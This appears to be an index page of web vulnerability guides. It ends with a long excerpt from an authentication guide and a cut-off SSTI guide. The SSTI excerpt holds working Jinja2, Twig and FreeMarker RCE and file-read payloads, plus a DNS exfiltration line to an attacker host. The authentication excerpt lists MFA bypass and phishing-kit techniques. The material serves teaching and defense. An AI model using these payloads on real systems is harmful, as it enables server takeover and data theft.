Web Security Hub 2026

Complete Web Vulnerability Prevention Hub Every web vulnerability guide on the site, grouped by class, with the attacks and the defenses side by side. 🎯 Core Web Vulnerabilities Injection Attacks XSS Prevention Guide 2026 bypass techniques, modern framework exploits SQL Injection Guide ORM/NoSQL variants, database-specific exploits, enterprise platform CVEs Command Injection & RCE Guide Expression Language techniques, 2026 exploitation methods Request Forgery & Manipulation SSRF Prevention Guide AI/MCP risks, cloud-native techniques, modern bypass methods CSRF Protection Guide ...

May 5, 2026 Β· 3 min Β· Carl Sampson

XSS Prevention Guide 2026

Comprehensive XSS Guide πŸ†• Updated September 12, 2026 β€” added the Django admin URLField stored XSS (CVE-2026-15920) and how copy-pasting an adjacent safe branch dropped the scheme check. A practitioner’s reference for Cross-Site Scripting β€” attack surface, context-aware payloads, filter/WAF/CSP bypass techniques, framework-specific vulnerabilities, real-world chains, and detection/prevention. Table of Contents Fundamentals Attack Surface & Entry Points Context-Aware Payloads Filter Bypass Techniques WAF Bypasses CSP Bypass Techniques Mutation XSS (mXSS) DOM Clobbering & Prototype Pollution Framework-Specific XSS AngularJS Sandbox Escapes postMessage & DOM XSS SVG, PDF & File Upload XSS Blind XSS Weaponized XSS Payloads Polyglots Real-World Exploitation Chains Tools & Automation Detection & Prevention Payload Quick Reference CVE Reference 1. Fundamentals XSS occurs when attacker-controlled input is rendered in a victim’s browser as executable code (JavaScript, or markup that leads to JavaScript execution). The victim’s browser runs the injected code with the origin’s privileges β€” same-origin access to cookies, DOM, API tokens, and session state. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 20 min Β· Carl Sampson

SSRF Prevention Guide 2026

Comprehensive SSRF Guide πŸ†• Updated September 12, 2026 β€” added the SonicWall SMA1000 chain (CVE-2026-15409), the CVSS 10.0 SSRF that got mass-exploited into DCSync two days after the PoC dropped. A practitioner’s reference for Server-Side Request Forgery β€” attack surface, exploitation techniques, bypass methods, real-world chains, and detection/prevention. 🎯 Play the bypass game: Try these bypasses hands-on in the SSRF Target Simulator β€” reach the cloud metadata endpoint past a filter using decimal/hex IPs, IPv6, and DNS rebinding. 100% simulated, no real requests. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 30 min Β· Carl Sampson

Comprehensive SQL Injection Guide

Comprehensive SQL Injection Guide πŸ†• Updated September 12, 2026 β€” added the LangGraph checkpointer chain (CVE-2025-67644 β†’ CVE-2026-28277): SQL injection through an AI agent state store into msgpack deserialization RCE. A practitioner’s reference for SQL Injection β€” attack classes, exploitation techniques, database-specific payloads, WAF bypass methods, ORM/NoSQL variants, real-world CVEs, and detection/prevention. Table of Contents Fundamentals Attack Classes Entry Points & Injection Contexts DBMS Fingerprinting Authentication Bypass Union-Based Injection Error-Based Injection Boolean Blind Injection Time-Based Blind Injection Out-of-Band (OOB) Injection Second-Order SQL Injection Stacked Queries & Polyglots WAF Bypass Techniques Database-Specific Payloads ORM Injection NoSQL Injection SQLi to RCE Header, Cookie & JSON-Body Injection Constraint-Based Attacks Real-World CVEs Tools & Automation Detection & Prevention Payload Quick Reference 1. Fundamentals SQL Injection (SQLi) occurs when an attacker can influence the SQL statements that an application sends to its database. The vulnerability arises from the unsafe concatenation of untrusted input into a query string, allowing the attacker to break out of the intended data context and execute attacker-controlled SQL. SQLi has sat in the OWASP Top Ten since its inception and remains one of the highest-impact classes of web vulnerability despite decades of awareness. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 24 min Β· Carl Sampson

Comprehensive CSRF Guide

Comprehensive CSRF Guide πŸ†• Updated September 12, 2026 β€” added the NASA AIT-GUI command-bus CSRF chain and a reminder that simple content types skip preflight entirely. A practitioner’s reference for Cross-Site Request Forgery β€” attack surface, exploitation techniques, SameSite and token bypasses, real-world chains, and detection/prevention. Table of Contents Fundamentals Attack Surface & Preconditions Attack Delivery Techniques Content-Type & JSON CSRF SameSite Cookie Model SameSite Bypass Techniques CSRF Token Bypasses Referer / Origin Check Bypasses Method Override & Verb Tampering Login & Logout CSRF CORS Misconfiguration Chains Clickjacking Overlap Real-World Cases & CVEs Exploitation Chains Tools & Automation Detection & Testing Methodology Prevention & Defense in Depth Payload Quick Reference 1. Fundamentals Cross-Site Request Forgery (CSRF / XSRF / β€œsea-surf”) is an attack that tricks an authenticated user’s browser into submitting a state-changing request to a target application. The victim’s browser automatically attaches ambient credentials β€” cookies, HTTP Basic auth, client certificates, Kerberos tickets, IP-based authorization β€” so the target application cannot distinguish a forged request from a legitimate one. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 29 min Β· Carl Sampson

Comprehensive IDOR Guide

Comprehensive IDOR Guide πŸ†• Updated September 12, 2026 β€” added the Frappe/ERPNext Document Follow chain (CVE-2026-66000/66058/66059) and why subscribe-style features create standing grants nobody re-checks. A practitioner’s reference for Insecure Direct Object Reference (IDOR) and Broken Object Level Authorization (BOLA) β€” attack surface, enumeration patterns, bypass techniques, real-world writeups, detection workflow, and prevention. Table of Contents Fundamentals IDOR vs BOLA vs BFLA Attack Surface & Where Identifiers Live Horizontal vs Vertical Access Identifier Enumeration Patterns Parameter Tampering Techniques HTTP Method & Verb Tampering Content-Type & Format Bypasses Path, Version, and Endpoint Tricks Mass Assignment Overlap UUID & Unpredictable ID Defeats Second-Order and Blind IDOR GraphQL, WebSocket, and Non-REST Surfaces Real-World Writeups & CVEs Exploit Chains Detection Methodology with Autorize Tools & Automation Impact & Severity Mapping Prevention & Secure Design Testing Checklist Report Writing 1. Fundamentals IDOR occurs when an application uses user-supplied input to reference an internal object (database row, file, resource) and fails to verify whether the current user is authorized to access that specific object. The application trusts the identifier, not the identity. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 29 min Β· Carl Sampson

Comprehensive RCE Guide

Comprehensive RCE Guide πŸ†• Updated September 12, 2026 β€” added the SharePoint BDC chain (CVE-2026-63520 + CVE-2026-55040), including why the two public gadget chains break signature-based detection. A practitioner’s reference for Remote Code Execution β€” vulnerability classes, exploitation primitives, language-specific chains, real-world CVEs, and detection/prevention. πŸ”₯ Latest Update: May 2, 2026 - Enhanced with 2026 critical CVEs including CVE-2025-53652 (Jenkins), CVE-2026-32191 (Microsoft Bing), CVE-2026-34197 (ActiveMQ), and modern command injection + expression language techniques. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 36 min Β· Carl Sampson

Comprehensive XXE Guide

Comprehensive XXE Guide πŸ†• Updated September 12, 2026 β€” added the GeoNetwork pre-auth RCE chain (CVE-2026-63219 β†’ CVE-2026-58400) and why XSLT processor configuration is a security boundary. A practitioner’s reference for XML External Entity injection β€” fundamentals, parser quirks, in-band and out-of-band exfiltration, parameter entity chains, file-format vectors, real-world CVEs, tooling, and hardening. Table of Contents Fundamentals Attack Surface & Entry Points Classic In-Band XXE Blind XXE via External DTD Error-Based XXE Parameter Entities & Local DTD Chains XXE β†’ SSRF Pivoting XXE β†’ File Read & Information Disclosure XXE β†’ RCE Parser-Specific Behaviors XML File-Format Vectors WAF & Filter Bypasses Denial of Service Real-World CVEs & Chains Tooling Detection & Prevention Payload Quick Reference 1. Fundamentals XXE (XML External Entity) injection occurs when an XML parser processes attacker-controlled input with DTD (Document Type Definition) and external entity resolution enabled. The parser treats SYSTEM identifiers as URIs, fetching and substituting their content into the document β€” yielding file read, SSRF, blind exfiltration, DoS, and in some stacks RCE. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 26 min Β· Carl Sampson

Comprehensive Insecure Deserialization Guide

Comprehensive Insecure Deserialization Guide πŸ†• Updated September 12, 2026 β€” added the Telerik UI padding-oracle chain (CVE-2026-13181/13182/13183): no MAC, a JSON decoder at the end, and why the key source is always the first question. A practitioner’s reference for insecure deserialization β€” language-specific attack surface, gadget chain mechanics, real-world CVE chains, tools, and detection/prevention. 🧩 See it visually: Explore gadget chains and disassemble serialized blobs in the Deserialization Gadget Visualizer β€” trace readObject() β†’ Runtime.exec and read Java/pickle/PHP streams byte by byte, 100% in your browser. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 38 min Β· Carl Sampson

Comprehensive GraphQL Security Guide

Comprehensive GraphQL Security Guide πŸ†• Updated September 12, 2026 β€” added an airline GraphQL BOLA case study: sequential IDs, resolver-level authorization gaps, and why introspection removes the grace period. A practitioner’s reference for attacking and defending GraphQL APIs β€” discovery, introspection, schema recovery, injection, authorization flaws, batching, DoS, subscriptions, CSRF/CSWSH, engine-specific quirks, and detection/prevention. Table of Contents Fundamentals Discovery & Fingerprinting Introspection Schema Recovery Without Introspection Query & Data Extraction Mutations & Mass Assignment Authorization Flaws (BOLA / BFLA / IDOR) Injection Through GraphQL Batching Attacks & Aliases Denial of Service CSRF & CSWSH Subscriptions & WebSockets Engine-Specific Notes (Apollo, Hasura, graphql-java, async-graphql, Mercurius) Notable CVEs & Real-World Chains Tooling Detection & Prevention Payload Quick Reference 1. Fundamentals GraphQL is a query language and server runtime for APIs, originally developed at Facebook and open-sourced in 2015. Instead of the multiple fixed endpoints of a REST API, a GraphQL service exposes a single endpoint that accepts typed queries and returns exactly the fields the client asks for. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 24 min Β· Carl Sampson

API Security Guide 2026

Comprehensive API Security Guide πŸ†• Updated September 12, 2026 β€” added the Flowise case study: AI workflow APIs that execute user code by design, and why insufficient patches deserve a re-test. A practitioner’s reference for API security β€” attack surface, OWASP API Top 10 exploitation, authentication and authorization bypasses, GraphQL-specific attacks, rate limit evasion, API gateway hardening, open banking compliance, AI/MCP risks, real-world chains, and detection/prevention. Table of Contents Fundamentals API Styles: REST vs GraphQL vs gRPC vs SOAP API Recon & Attack Surface Discovery OWASP API Security Top 10 (2023) OWASP Web Top 10 (2025) β€” API Implications BOLA / IDOR Deep Dive Broken Authentication & Token Attacks BOPLA: Mass Assignment & Excessive Data Exposure Broken Function Level Authorization (BFLA) Unrestricted Resource Consumption & Rate Limit Bypasses Business Flow Abuse SSRF in APIs Security Misconfiguration & Improper Inventory API Gateway Security Unsafe Consumption of Third-Party APIs GraphQL-Specific Attacks JWT & OAuth 2.0 Exploitation Injection in APIs HTTP Request Smuggling in API Gateways API Key & Secret Leak Detection AI, MCP & Agentic API Risks Open Banking & E-Commerce API Security Real-World CVEs & Breach Chains Tools & Automation Detection & Prevention Testing Checklist 1. Fundamentals APIs now account for ~83% of web traffic and over 71% of all web requests. The average cost of an API breach is $4.88M (T-Mobile 2023, 37M users affected). API attacks increased 10-13x in 2025 (Indusface), 57% of organizations experienced at least one API-related data breach in the past two years (Traceable AI), and 97% of API vulnerabilities can be exploited with a single request (Wallarm 2026). Unlike traditional web apps, APIs expose more endpoints, lack a constraining UI, and are often protected by weaker compensating controls because developers assume machine-to-machine trust. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 33 min Β· Carl Sampson

Comprehensive Authorization & Access Control Guide

Comprehensive Authorization & Access Control Guide πŸ†• Updated September 12, 2026 β€” added the SolarWinds Web Help Desk SAML bypass (CVE-2026-28323): when parameter presence selects the auth path, the attacker picks it. A practitioner’s reference for Broken Access Control (OWASP A01) β€” the models, bug classes, bypass techniques, real-world chains, and detection/prevention patterns that matter in modern web and API testing. Includes privilege escalation CVEs disclosed through 2026. πŸ”₯ Latest Update: May 2, 2026 - Enhanced with 2026 privilege escalation CVEs including CVE-2025-26244 (DeimosC2), CVE-2026-25253+ (OpenClaw chain), CVE-2025-53767 (Azure OpenAI) from automated security intelligence. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 39 min Β· Carl Sampson

Comprehensive Python Security Guide

Comprehensive Python Security Guide πŸ†• Updated September 12, 2026 β€” added BadHost (CVE-2026-48710), the Starlette Host-header path confusion that silently disarms FastAPI/MCP path-based access control. A practitioner’s defensive reference for securing Python applications β€” dangerous APIs, deserialization pitfalls, framework-specific risks, supply chain attacks, AI/ML security threats, 2026 CVEs, advanced static analysis, and hardening patterns. Enhanced with cutting-edge threat intelligence and defensive techniques. Table of Contents Fundamentals Dangerous Built-in APIs Insecure Deserialization Command & Code Injection SSRF & URL Parsing in Python Path Traversal, Tarfile, Zipfile Cryptography & Randomness Flask Security Django Security FastAPI & Other Frameworks Jinja2 & Server-Side Template Injection Package Supply Chain Attacks LLM / AI Framework CVEs ML Model Deserialization Attacks Notable Python CVEs (Stdlib) Static Analysis & SAST Secure Coding Patterns Hardening Checklist Tool Reference Detection Quick Reference 1. Fundamentals Python’s dynamism is both its selling point and its largest security footgun. Classes can be instantiated from strings, modules can be imported at runtime, objects can rewrite their own deserialization hooks, and the default serializer is Turing-complete. A defender cannot rely on the language to fail safe β€” every dangerous capability is a first-class primitive. ...

May 2, 2026 Β· Updated September 12, 2026 Β· 39 min Β· Carl Sampson

Comprehensive Authentication Guide

Comprehensive Authentication Guide πŸ†• Updated September 12, 2026 β€” added the NetScaler SAML canonicalization overflow (CVE-2026-8452) and why pre-signature-verification parsing is every SAML SP’s unauthenticated attack surface. A practitioner’s reference for authentication security β€” protocols, mechanisms, vulnerabilities, exploitation techniques, and defense strategies. Covers traditional and modern authentication methods from enterprise to web applications. Table of Contents Fundamentals Password-Based Authentication Multi-Factor Authentication (MFA) OAuth 2.0 & OpenID Connect SAML & Enterprise SSO Modern Authentication (FIDO, WebAuthn, Passkeys) JWT Security Session Management Authentication Bypasses & Attacks Implementation Security Testing & Verification 1. Fundamentals Core Concepts Term Definition Security Impact Authentication (AuthN) Process of verifying identity claims Foundation of access control Digital Identity Unique representation in online context Basis for authorization decisions Identity Proofing Binding digital identity to real person KYC/compliance requirement Session Management Maintaining state across requests Critical for web application security Non-Human Identity (NHI) API keys, OAuth tokens, service accounts Path of least resistance for attackers β€” not bound by MFA or IP restrictions Authentication Factors Factor Type Examples Vulnerability Classes Something You Know Passwords, PINs, security questions Brute force, credential stuffing, social engineering Something You Have Hardware tokens, mobile apps, SMS SIM swapping, device theft, malware Something You Are Biometrics (fingerprint, face, voice) Spoofing, template theft, privacy concerns 2. Password-Based Authentication Password Strength Requirements Requirement NIST SP800-63B Standard Security Rationale Minimum Length 8 chars (with MFA), 14+ (without MFA) Increases brute force difficulty Maximum Length At least 64 characters Prevents artificial length limits Character Composition No mandatory complexity rules Avoid predictable patterns Dictionary Checking Block common passwords Prevent credential stuffing Common Password Vulnerabilities ATTACK VECTORS: β”œβ”€β”€ Credential Stuffing β”‚ β”œβ”€β”€ Breach databases (HaveIBeenPwned) β”‚ β”œβ”€β”€ Password reuse across sites β”‚ └── Automated login attempts β”œβ”€β”€ Brute Force Attacks β”‚ β”œβ”€β”€ Dictionary attacks β”‚ β”œβ”€β”€ Rule-based mutations β”‚ └── Hybrid attacks └── Password Reset Flows β”œβ”€β”€ Weak reset tokens β”œβ”€β”€ Token reuse vulnerabilities β”œβ”€β”€ Account enumeration └── Email interception for ATO (Post SMTP CVE-2025-24000 β€” Subscriber+ reads reset emails via broken REST API permissions) Secure Implementation Patterns Security Control Implementation Bypass Techniques Rate Limiting Progressive delays, account lockouts IP rotation, distributed attacks CAPTCHA Human verification challenges OCR bypass, solving services Password Hashing bcrypt, scrypt, Argon2 Rainbow tables (if salts weak) Breach Detection Monitor for credential exposure Private/corporate breaches REST API Auth Role-based permission callbacks (not just is_user_logged_in()) Subscriber-level access to admin endpoints 3. Multi-Factor Authentication (MFA) MFA Implementation Types Method Security Level User Experience Attack Vectors SMS OTP Low High friction SIM swapping, SS7 attacks TOTP Apps Medium Medium friction Device compromise, social engineering Push Notifications Medium-High Low friction MFA fatigue, device takeover Hardware Tokens High Medium friction Physical theft, supply chain Biometrics High Low friction Spoofing, template extraction Passwordless (FastPass/FIDO2) Very High Low friction Device compromise (Okta Terrify), endpoint proxy MFA Bypass Techniques BYPASS METHODS: β”œβ”€β”€ Social Engineering β”‚ β”œβ”€β”€ MFA fatigue (push spam) β”‚ β”œβ”€β”€ Vishing (voice phishing) β”‚ └── SIM swapping β”œβ”€β”€ Technical Bypasses β”‚ β”œβ”€β”€ Session fixation β”‚ β”œβ”€β”€ MFA enrollment abuse β”‚ β”œβ”€β”€ Backup code exploitation β”‚ └── Race conditions β”œβ”€β”€ Adversary-in-the-Middle (AiTM) β”‚ β”œβ”€β”€ Real-time phishing (Evilginx, Tycoon 2FA, Evilproxy, Mamba 2FA) β”‚ β”œβ”€β”€ Session cookie interception and replay β”‚ β”œβ”€β”€ Token replay β”‚ └── Cloudflare Workers as transparent proxy (IOActive research) β”œβ”€β”€ Authentication Downgrade Attacks β”‚ β”œβ”€β”€ JSON config manipulation β€” flip FIDO2 isDefault:false, push isDefault:true β”‚ β”œβ”€β”€ CSS injection to hide passkey/FIDO2 UI options β”‚ β”œβ”€β”€ Browser User-Agent spoofing (e.g., Safari on Windows) to trigger Entra ID fallback β”‚ └── WebAuthn immediate mediation abuse for non-WebAuthn fallback steering β”œβ”€β”€ Conditional Access Policy (CAP) Bypasses β”‚ β”œβ”€β”€ IP whitelisting bypass (VPN, Zscaler pivoting) β”‚ β”œβ”€β”€ Geo-whitelisting bypass (VPN/location spoofing) β”‚ β”œβ”€β”€ User-agent whitelisting bypass (custom UA strings) β”‚ β”œβ”€β”€ Cloud tooling bypasses (ROADtools, BloodHound, AADInternals) β”‚ └── Non-MFA hosts (legacy protocols, password reset portals) └── Machine-Based Attacks β”œβ”€β”€ Session token theft from memory (Cobalt Strike BOFs) β”œβ”€β”€ OTP keylogging / seed QR code theft β”œβ”€β”€ Okta Terrify β€” extract passwordless keys from compromised endpoint └── Stolen/unlocked devices Phishing-as-a-Service (PhaaS) Kits Kit Technique Detection Evasion Evilginx Open-source reverse proxy AiTM Default LetsEncrypt certs, 8-char URL paths, TLS fingerprint differs from target Tycoon 2FA PhaaS MFA bypass Dynamically obfuscated JS, phishing URL gating, IP/UA filtering Evilproxy PhaaS MFA bypass Templates for popular targets, bot detection Mamba 2FA PhaaS MFA bypass Anti-crawler delays, redirect to benign pages Cloudflare Workers Serverless transparent proxy (IOActive PoC) Zero forensic footprint, trusted CDN IPs, ephemeral execution Implementation Security Checklist Control Verification Common Mistakes Enrollment Security Verify primary auth before MFA setup Allow MFA changes without re-auth Backup Mechanisms Secure recovery codes Weak backup code generation Device Trust Risk-based authentication Unlimited device trust Rate Limiting Throttle MFA attempts No limits on failed attempts Eliminate Fallbacks No SMS/TOTP/push if FIDO2 deployed Mixed-mode policies allow downgrade Audit MFA Logs Detect new MFA device registration post-compromise Missing persistence detection 4. OAuth 2.0 & OpenID Connect OAuth 2.0 Flow Types Grant Type Use Case Security Considerations Authorization Code Server-side web apps Most secure, requires PKCE for SPAs Authorization Code + PKCE Public clients, SPAs Prevents authorization code injection Implicit Legacy SPAs Deprecated, token in URL fragment Client Credentials Service-to-service No user context, secure storage critical Device Code IoT/limited input devices Phishing risk during user approval Common OAuth Vulnerabilities Vulnerability Attack Vector Mitigation Authorization Code Interception Redirect URI manipulation Strict redirect validation State Parameter Missing CSRF attacks Cryptographically strong state Scope Escalation Privilege elevation Minimal scope principle Client Impersonation Stolen client credentials Client authentication OAuth Parameter Injection Inject arbitrary params (redirect_uri, scope) into auth flow Input sanitization (Okta auth0/nextjs-auth0 vuln) Implicit Flow Token Theft Access token in URL fragment, referer leakage Migrate to Authorization Code + PKCE CSRF via Missing State Attacker injects own authorization code into victim session State parameter enforcement Redirect URI Bypass Pattern-matching bypass (%2f%2f, %5c%5c, %3F, %23, port injection) Exact string match, no wildcards Credential Leakage via Referer Authorization code or token in Referer header to third-party content No third-party resources on callback pages Non-Human Identity Abuse Compromised OAuth tokens with overly broad scopes, null expiry refresh tokens Scope minimization, token rotation, vendor vetting Dynamic Client Registration SSRF (PortSwigger Research) SSRF ATTACK SURFACE VIA DYNAMIC REGISTRATION: β”œβ”€β”€ logo_uri β€” Server fetches logo image β†’ SSRF on /authorize β”œβ”€β”€ jwks_uri β€” Server fetches JWK set for client_assertion validation β†’ Blind SSRF β”œβ”€β”€ sector_identifier_uri β€” Server fetches redirect_uri list β†’ SSRF on registration or authorization β”œβ”€β”€ request_uris β€” Whitelisted request_uri values β†’ SSRF on /authorize via request_uri param β”‚ (Even without dynamic registration, test request_uri on /authorize directly) └── Discovery: GET /.well-known/openid-configuration β”œβ”€β”€ registration_endpoint β”œβ”€β”€ request_uri_parameter_supported └── require_request_uri_registration CVE-2021-26715: SSRF via logo_uri in MITREid Connect ForgeRock OpenAM: SSRF via request_uri + redirect_uri Session Poisoning OAuth Security Implementation SECURITY CONTROLS: β”œβ”€β”€ Authorization Server β”‚ β”œβ”€β”€ Strict redirect URI validation (exact match, no wildcards) β”‚ β”œβ”€β”€ State parameter enforcement β”‚ β”œβ”€β”€ PKCE for public clients β”‚ β”œβ”€β”€ Short-lived authorization codes (single use) β”‚ └── Disable Dynamic Client Registration if not needed β”œβ”€β”€ Resource Server β”‚ β”œβ”€β”€ Token introspection β”‚ β”œβ”€β”€ Scope validation β”‚ β”œβ”€β”€ Audience verification β”‚ └── Rate limiting β”œβ”€β”€ Client Application β”‚ β”œβ”€β”€ Secure token storage (never in browser history/URL) β”‚ β”œβ”€β”€ Token refresh handling with expiry β”‚ β”œβ”€β”€ CSRF protection via state parameter β”‚ β”œβ”€β”€ PKCE code_verifier/code_challenge β”‚ └── TLS everywhere └── Non-Human Identity Governance β”œβ”€β”€ Monitor OAuth app registrations and consent grants β”œβ”€β”€ Audit token scopes vs actual usage β”œβ”€β”€ Enforce refresh token expiry (no null expiry) └── Vendor breach monitoring for third-party OAuth apps OAuth Pentesting Checklist (Authorization Code Grant) Test Case What to Check Impact Redirect URI Validation Change redirect_uri to attacker domain, test pattern bypasses Token/code theft State Parameter Remove or reuse state, test CSRF Account hijacking Code Reuse Replay authorization code Session hijacking Client Secret Exposure Check JS source, mobile app binaries Full OAuth flow compromise Scope Manipulation Request elevated scopes Privilege escalation Token in URL/History Check if access_token appears in URL fragment or browser history Token theft Referer Leakage Check callback pages for third-party resource loads Code/token leakage request_uri SSRF Supply attacker URL in request_uri param on /authorize Server-side request forgery 5. SAML & Enterprise SSO SAML Attack Surface Component Attack Vectors Security Controls Identity Provider (IdP) XML signature bypass, SAML injection Strong XML validation, signature verification Service Provider (SP) Assertion replay, audience restriction bypass, parser differential exploitation Strict temporal/audience checks, single XML parser SAML Assertions XXE, signature wrapping (XSW), attribute pollution Secure XML parsing, validation Metadata Metadata spoofing, certificate substitution Out-of-band verification FortiCloud SSO Crafted SAMLResponse to /remote/saml/login (CVE-2025-59718) Disable FortiCloud SSO until patched Citrix NetScaler SAML canonicalization overflow (CVE-2026-8452) Citrix published CTX696604 on 30 June 2026. CVSS 8.8, unauthenticated, and it belongs in a SAML guide rather than a memory-safety one because of where in the SAML flow it sits. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 21 min Β· Carl Sampson

Comprehensive JWT Security Guide

Comprehensive JWT Security Guide πŸ†• Updated September 12, 2026 β€” added the PAN-OS/Panorama CAS algorithm-confusion bypass (CVE-2026-0265) and how a config precondition leaking pre-auth turns patching into a real priority list. A practitioner’s reference for JSON Web Token security – vulnerabilities, exploitation techniques, attack vectors, implementation flaws, and defense strategies. Covers algorithm confusion, signature bypass, header injection, key confusion, library-specific issues, cryptographic attacks, attack chaining, and secure implementation patterns. πŸ§ͺ Try it live: Practice these attacks hands-on in the JWT Attack Playground β€” forge alg:none, RS256β†’HS256 algorithm confusion, and weak-secret tokens, then fire them at a configurable verifier to see what a vulnerable vs. secure server does. Runs 100% in your browser. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 17 min Β· Carl Sampson

Comprehensive SSTI Guide

Comprehensive SSTI Guide πŸ†• Updated September 12, 2026 β€” added the Thymeleaf tab-character sandbox bypass (CVE-2026-40478) and the audit question that actually determines exposure. A practitioner’s reference for Server-Side Template Injection β€” template engine vulnerabilities, exploitation techniques, payload development, framework-specific attacks, and defense strategies. Covers detection methodologies, engine-specific exploitation, and secure templating practices. Table of Contents Fundamentals Detection & Identification Template Engine Exploitation Framework-Specific Attacks Payload Development Advanced Exploitation Bypass Techniques Testing Methodology Secure Implementation Detection & Prevention CVE Reference 1. Fundamentals SSTI Attack Surface Template Context Risk Level Common Locations User Input Rendering Critical Email templates, reports, dynamic pages Configuration Files High Template-based configs, dynamic routing Error Messages Medium Custom error pages, debug output Log Messages Low Log formatting, audit trails Email Workflow Templates Critical Notification templates, marketing emails (Shopify Return Magic, Fides) Recipe/CMS Content Fields Critical User-editable content rendered by template engines (Tandoor Recipes, Alfresco) JMS/Message Headers High Apache Camel template override headers (CamelFreemarkerTemplate, CamelVelocityTemplate) Template Engine Landscape Engine Language Popularity Exploitation Difficulty Jinja2 Python Very High Medium Twig PHP High Medium FreeMarker Java High High Velocity Java Medium High Thymeleaf Java Medium Medium Smarty PHP Medium Low Mako Python Low Low Handlebars Node.js Very High Medium Pug (Jade) Node.js High Medium Go html/template Go Medium High (context-dependent) Go text/template Go Medium Medium Jelly Java Medium (ServiceNow) Medium MVEL Java Low Low Mustache Multi-language Medium High (logicless by design) Tornado Python Medium Medium 2. Detection & Identification Detection Methodology SSTI DETECTION FLOW: 1. Identify template injection points 2. Test mathematical expressions 3. Analyze error messages 4. Determine template engine 5. Craft engine-specific payloads 6. Test blind detection via time-based or OOB channels Basic Detection Payloads Test Case Payload Expected Result Mathematical ${7*7} 49 if vulnerable Mathematical {​{7*7}} 49 if vulnerable Mathematical <%=7*7%> 49 if vulnerable String Concatenation ${'a'+'b'} ab if vulnerable Function Call ${T(java.lang.System).getProperty('user.name')} Username if Spring EL Go Detection {​{ . }} Memory address of passed object if Go template Handlebars Detection {​{this}} [object Object] if Handlebars FreeMarker String ${"Hello " + "World"} Hello World if FreeMarker FreeMarker Array ${["one", "two", "three"][1]} two if FreeMarker FreeMarker Length ${"test"?length} 4 if FreeMarker FreeMarker Date ${.now?string("yyyy-MM-dd")} Current date if FreeMarker Jelly (ServiceNow) <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> 1337 in error message Thymeleaf Inline [[${7*7}]] 49 if Thymeleaf expression inlining Template Engine Fingerprinting IDENTIFICATION DECISION TREE: β”œβ”€β”€ {​{7*7}} = 49 β”‚ β”œβ”€β”€ {​{this}} = [object Object] β†’ Handlebars (Node.js) β”‚ β”œβ”€β”€ Jinja2 (Python) β”‚ β”œβ”€β”€ Twig (PHP) β”‚ └── Nunjucks (Node.js) β”œβ”€β”€ ${7*7} = 49 β”‚ β”œβ”€β”€ ${"test"?length} = 4 β†’ FreeMarker (Java) β”‚ β”œβ”€β”€ ${T(java.lang.Runtime)} works β†’ Spring EL (Java) β”‚ └── Velocity (Java) β”œβ”€β”€ <%=7*7%> = 49 β”‚ β”œβ”€β”€ ERB (Ruby) β”‚ └── ASP Classic β”œβ”€β”€ {7*7} = 49 β”‚ └── Smarty (PHP) β”œβ”€β”€ {​{ . }} = memory address β”‚ └── Go html/template or text/template β”œβ”€β”€ [[${7*7}]] = 49 β”‚ └── Thymeleaf (Java) expression inlining └── <g:evaluate>...</g:evaluate> executes └── Jelly (ServiceNow) Blind SSTI Detection Method Payload Example Verification Time-based (Jinja2) {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('sleep 10').read()}} Response delay Time-based (FreeMarker) <#assign ex="freemarker.template.utility.Execute"?new()>${ex("sleep 10")} Response delay DNS Exfiltration {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup x.attacker.com').read()}} DNS logs HTTP Callback Jinja2 urllib.request.urlopen to attacker URL HTTP logs 3. Template Engine Exploitation Jinja2 (Python) Exploitation Attack Vector Payload Impact Basic RCE {​{config.__class__.__init__.__globals__['os'].popen('id').read()}} Command execution Subprocess {​{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['subprocess'].check_output('whoami',shell=True)}} Command execution File Read {​{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} File access Config Access {​{config.SECRET_KEY}} Sensitive data exposure Lipsum Shorthand {​{lipsum.__globals__}} Bypass length limits Cycler RCE {​{cycler.__init__.__globals__.os.popen('id').read()}} Shorter RCE payload Hex-encoded attr() {​{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('id',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}} Filter bypass RCE (CVE-2025-23211) Warning class import {​% for s in ().__class__.__base__.__subclasses__() %}{​% if "warning" in s.__name__ %}{​{s()._module.__builtins__['__import__']('os').popen("env").read()}}{​% endif %}{​% endfor %} RCE via warning subclass (Fides advisory) Twig (PHP) Exploitation TWIG ATTACK PATTERNS: β”œβ”€β”€ Filter Abuse β”‚ β”œβ”€β”€ {​{_self.env.registerUndefinedFilterCallback("exec")}} β”‚ β”œβ”€β”€ {​{_self.env.getFilter("id")}} β”‚ └── {​{["id"]|filter("system")}} β”œβ”€β”€ Function Injection β”‚ β”œβ”€β”€ {​{_self.env.registerUndefinedFunction("exec")}} β”‚ └── {​{_self.env.getFunction("system")}} β”œβ”€β”€ Object Injection β”‚ β”œβ”€β”€ {​{app.request.query.get('cmd')|passthru}} β”‚ └── {​{dump(app)}} (information disclosure) └── Escape Handler Abuse (Grav CMS β€” GHSA-2m7x-c7px-hp58) β”œβ”€β”€ {​{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} └── {​{ ['id'] | escape('system', 'system') }} (Redefine escape function via setEscaper to system(), bypasses sandbox when not enabled) FreeMarker (Java) Exploitation Technique Payload Description Object Creation <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} Command execution Static Method Call ${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()} Process creation File System Access <#assign 